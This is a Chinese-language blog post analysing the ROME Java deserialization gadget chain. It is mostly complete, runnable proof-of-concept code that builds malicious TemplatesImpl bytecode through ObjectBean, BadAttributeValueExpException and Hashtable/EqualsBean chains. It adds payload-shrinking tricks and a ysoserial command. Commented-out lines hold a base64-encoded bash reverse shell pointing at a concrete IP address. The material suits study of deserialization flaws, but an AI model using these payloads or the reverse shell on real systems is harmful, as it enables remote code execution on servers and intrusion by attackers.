前置

ObjectBean

com.sun.syndication.feed.impl.ObjectBeanRome提供的一个封装类型, 初始化时提供了一个Class类型和一个Object对象实例进行封装

他也有三个成员变量,分别是EqualsBeanToStringBeanCloneableBean类,为ObjectBean提供了equalstoStringclone以及hashCode方法

ObjectBean#hashCode中,调用了EqualsBean类的beanHashCode方法

这里调用了_obj成员变量的toString方法,这里就是漏洞触发的地方了

ToStringBean

com.sun.syndication.feed.impl.ToStringBean是给对象提供toString方法的类, 类中有两个toString方法, 第一个是无参的方法, 获取调用链中上一个类或_obj属性中保存对象的类名, 并调用第二个toString方法. 在第二个toString方法中, 会调用BeanIntrospector#getPropertyDescriptors来获取_beanClass的所有gettersetter方法, 接着判断参数的长度, 长度等于0的方法会使用_obj实例进行反射调用, 通过这个点我们可以来触发TemplatesImpl的利用链.

编写POC

package ysoserial.vulndemo;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Rome_POC {
    //序列化操作工具
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objOutput = new ObjectOutputStream(barr);
        objOutput.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        objOutput.close();
        String bytesOfBase = Base64.getEncoder().encodeToString(bytes);
        return bytesOfBase;
    }
    //反序列化操作工具
    public static void unserialize(String bytesOfBase) throws IOException, ClassNotFoundException {
        byte[] bytes = Base64.getDecoder().decode(bytesOfBase);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objInput = new ObjectInputStream(byteArrayInputStream);
        objInput.readObject();
    }
    //为类的属性设置值的工具
    public static void setFieldVlue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    //payload的生成
    public static void exp() throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        //生成恶意的bytecodes
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("evilexp");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();
        //因为在TemplatesImp类中的构造函数中,_bytecodes为二维数组
        byte[][] bytes1 = new byte[][]{bytes};

        //创建TemplatesImpl类
        TemplatesImpl templates = new TemplatesImpl();
        setFieldVlue(templates, "_name", "RoboTerh");
        setFieldVlue(templates, "_bytecodes", bytes1);
        setFieldVlue(templates, "_tfactory", new TransformerFactoryImpl());

        //封装一个无害的类并放入Map中
        ObjectBean roboTerh = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "RoboTerh"));
        HashMap hashmap = new HashMap();
        hashmap.put(roboTerh, "RoboTerh");

        //通过反射写入恶意类进入map中
        ObjectBean objectBean = new ObjectBean(Templates.class, templates);
        setFieldVlue(roboTerh, "_equalsBean", new EqualsBean(ObjectBean.class, objectBean));

        //生成payload并输出
        String payload = serialize(hashmap);
        System.out.println(payload);

        //触发payload,验证是否成功
        unserialize(payload);
    }

    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        exp();
    }
}
分析调用链

在unserialize方法中打上断点

在unserialize方法中的readObject方法中开始反序列化

跟进到了HashMap#readObject

之后就会求key值的hash,而且这个时候的Key是ObjectBean

之后在HashMap#hash中,会调用key值得hashcode()方法

直接跳转进入ObjectBean#hashCode,调用了他的属性_equalsBean的beanHashCode方法

跟进EqualsBean#beanHashCode方法,这里的_obj是ObjectBean类的对象,调用了他的toString方法

跟进ObjectBean#toString方法,这里的_toStringBean属性,是ToStringBean类的对象,调用了他的toString方法

之后跟进ToStringBean#toString,这里获取了所有的getter和setter,然后判断参数长度调用了一些方法,当然包括了getOutputProperties这个方法

后面的步骤就是TemplatesImpl这个调用链了

getOutputProperties
    newTransformer
        getTransletInstance
            defineTransletClasses

所以他的调用链为:

HashMap.readObject()
    ObjectBean.hashCode()
            EqualsBean.beanHashCode()
                ObjectBean.toString()
                    ToStringBean.toString()
                        TemplatesImpl.getOutputProperties()

其他的骚操作

缩短payload

我们从这篇文章里面可以得到缩小payload的方法

文章提到三部分的缩小

  • 序列化数据本身的缩小
  • 针对TemplatesImpl_bytecodes字节码的缩小
  • 对于执行的代码如何缩小(STATIC代码块)

我们针对ROME链进行分析

在前面编写POC的时候对于TemplatesImpl可以进行优化操作

  • 设置_name名称可以是一个字符
  • 其中_tfactory属性可以删除(分析TemplatesImpl得出)
  • 其中EvilByteCodes类捕获异常后无需处理

所以优化之后为:

package ysoserial.vulndemo;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Opcodes;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Rome_shorter2 {
    public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("a");
        CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = CtNewConstructor.make("    public a(){\n" +
            "        try {\n" +
            "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
            "        }catch (Exception ignored){}\n" +
            "    }", ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    }
    //使用asm技术继续缩短
    public static byte[] shorterTemplatesImpl(byte[] bytes) throws IOException {
        String path = System.getProperty("user.dir") + File.separator + "a.class"; //File.separator是分隔符
        try {
            Files.write(Paths.get(path), bytes);
        } catch (IOException e) {
            e.printStackTrace();
        }
        try {
            //asm删除LINENUMBER
            byte[] allBytes = Files.readAllBytes(Paths.get(path));
            ClassReader classReader = new ClassReader(allBytes);
            ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
            int api = Opcodes.ASM9;
            ClassVisitor classVisitor = new shortClassVisitor(api, classWriter);
            int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
            classReader.accept(classVisitor, parsingOptions);
            byte[] out = classWriter.toByteArray();
            Files.write(Paths.get(path), out);
        } catch (IOException e) {
            e.printStackTrace();
        }
        byte[] bytes1 = Files.readAllBytes(Paths.get("a.class"));
        //删除class文件
        Files.delete(Paths.get("a.class"));
        return bytes1;
    }
    //因为ClassVisitor是抽象类,需要继承
    public static class shortClassVisitor extends ClassVisitor{
        private final int api;
        public shortClassVisitor(int api, ClassVisitor classVisitor){
            super(api, classVisitor);
            this.api = api;
        }
    }
    //设置属性值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objOutput = new ObjectOutputStream(barr);
        objOutput.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        objOutput.close();
        return Base64.getEncoder().encodeToString(bytes);
    }
    public static void unserialize(String code) throws IOException, ClassNotFoundException {
        byte[] decode = Base64.getDecoder().decode(code);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        //setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjQuMjA3LjEyMS84MDAwIDA+JjE=}|{base64,-d}|{bash,-i}")});
        setFieldValue(templates, "_bytecodes", new byte[][]{shorterTemplatesImpl(getTemplatesImpl("calc"))});
        setFieldValue(templates, "_name", "a");

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean objectBean = new ObjectBean(String.class, "a");
        HashMap hashMap = new HashMap();
        hashMap.put(null, null);
        hashMap.put(objectBean, null);

        setFieldValue(objectBean, "_equalsBean", equalsBean);
        String s = serialize(hashMap);
        System.out.println("长度为:" + s.length());
        System.out.println(s);
        unserialize(s);
    }
}

上图是使用了

  1. javassist动态生成class文件,而且_name仅为一个字符a, 删除了_tfactory属性值,写入空参构造恶意方法
  2. 使用asm技术,将动态生成的class文件的LINENUMBER指令给删掉

同样,也可以不调用Runtime类来命令执行,使用new ProcessBuilder(new String[]{cmd}).start()更加能够缩短payload

那我们来看看不适用asm删除指令:

长度都已经大于2000了,所以说删除指令并不影响payload的执行且能达到命令执行的目的

其他的链子

我们知道,在ysoserial项目中的ROME链,主要的触发点就是ObjectBean调用了toString()方法,进而进入了TOStringBeantoString()方法,最后执行了getOutputProperties()这个getter方法,其他的链子中同样可以找到调用了toString方法的类,而且还比这条链子更加短

BadAttributeValueExpException

在这个类中的readObject方法中

在这里我们读取ObjectInputStream中的信息

后面通过.get方法得到val的属性值

之后通过一系列判断,进入到了valObj.toString()方法中,而且这时候的valObj是ToStringBean类,成功触发了他的toString()方法,到达了命令执行的目的

POC:

package ysoserial.vulndemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Rome_shorter3 {
    public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("Evil");
        CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = CtNewConstructor.make("    public Evil(){\n" +
            "        try {\n" +
            "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
            "        }catch (Exception ignored){}\n" +
            "    }", ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    }
    //设置属性值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objOutput = new ObjectOutputStream(barr);
        objOutput.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        objOutput.close();
        return Base64.getEncoder().encodeToString(bytes);
    }
    public static void unserialize(String code) throws IOException, ClassNotFoundException {
        byte[] decode = Base64.getDecoder().decode(code);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")});
        setFieldValue(templates, "_name", "a");

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        //防止生成payload的时候触发漏洞
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException, "val", toStringBean);

        String s = serialize(badAttributeValueExpException);
        System.out.println(s);
        System.out.println("长度为:" + s.length());
        unserialize(s);
    }
}

调用链:

BadAttributeValueExpException#readObject
    ToStringBean#toString
        TemplatesImpl#getOutputProperties
            .....
EqualsBean

在这个类中存在有触发满足条件的getter得方法:

ToStringBean:

EqualsBean:

两个长得确实像

那到底是不是可以利用呢?

在这个类的equals方法调用了beanEquals方法

我们也知道在CC7的时候使用了equals方法

Hashtable#readObject

跟进Hashtable#reconstitutionPut

首先调用了key的hashcode方法,求他的hash值,之后在遍历,判断两个的hash值是否相等,如果相等之后才会触发到equals方法

我们就需要两个求hash相等的键:yy / zZ就是相等的

然后怎么调用equals方法呢?

我们来到他的equals方法中

如果这里的value为EqualsBean,而且这里的e.getValue是TemplateImpl对象这样就能够构造出利用链了

至于HashMap对象求hash值,hashMap 的hashCode 是遍历所有的元素,然后调用hashCode后相加,hashCode的值是key和value的hashCode异或

所以('yy',obj); 是等于put('zZ',obj)

则POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class RomeShorter{
    //缩短TemplatesImpl链
    public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("Evil");
        CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = CtNewConstructor.make("    public Evil(){\n" +
            "        try {\n" +
            "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
            "        }catch (Exception ignored){}\n" +
            "    }", ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    }
    //设置属性值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objOutput = new ObjectOutputStream(barr);
        objOutput.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        objOutput.close();
        return Base64.getEncoder().encodeToString(bytes);
    }
    public static void unserialize(String code) throws IOException, ClassNotFoundException {
        byte[] decode = Base64.getDecoder().decode(code);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }

    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        //setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjQuMjA3LjEyMS84MDAwIDA+JjE=}|{base64,-d}|{bash,-i}")});
        setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")});
        setFieldValue(templates, "_name", "a");

        EqualsBean bean = new EqualsBean(String.class,"s");

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",bean);
        map1.put("zZ",templates);
        map2.put("zZ",bean);
        map2.put("yy",templates);
        Hashtable table = new Hashtable();
        table.put(map1,"1");
        table.put(map2,"2");

        setFieldValue(bean,"_beanClass",Templates.class);
        setFieldValue(bean,"_obj",templates);

        String s = serialize(table);
        System.out.println(s);
        System.out.println(s.length());

        unserialize(s);
    }
}

长度为1520

那如果我们使用ASM删除指令呢?

//asm
    public static byte[] shorterTemplatesImpl(byte[] bytes) throws IOException {
        String path = System.getProperty("user.dir") + File.separator + "a.class"; //File.separator是分隔符
        try {
            Files.write(Paths.get(path), bytes);
        } catch (IOException e) {
            e.printStackTrace();
        }
        try {
            //asm删除LINENUMBER
            byte[] allBytes = Files.readAllBytes(Paths.get(path));
            ClassReader classReader = new ClassReader(allBytes);
            ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
            int api = Opcodes.ASM9;
            ClassVisitor classVisitor = new Rome_shorter2.shortClassVisitor(api, classWriter);
            int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
            classReader.accept(classVisitor, parsingOptions);
            byte[] out = classWriter.toByteArray();
            Files.write(Paths.get(path), out);
        } catch (IOException e) {
            e.printStackTrace();
        }
        byte[] bytes1 = Files.readAllBytes(Paths.get("a.class"));
        //删除class文件
        Files.delete(Paths.get("a.class"));
        return bytes1;
    }
    //因为ClassVisitor是抽象类,需要继承
    public static class shortClassVisitor extends ClassVisitor{
        private final int api;
        public shortClassVisitor(int api, ClassVisitor classVisitor){
            super(api, classVisitor);
            this.api = api;
        }
    }

成功弹出了计算器,并且长度缩短为了1444

生成POC

使用ysoserial工具生成POC

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ROME 'calc'|base64

参考

ROME反序列化分析 (c014.cn)

Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin | 素十八 (su18.org)

终极Java反序列化Payload缩小技术 - 先知社区 (aliyun.com)

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖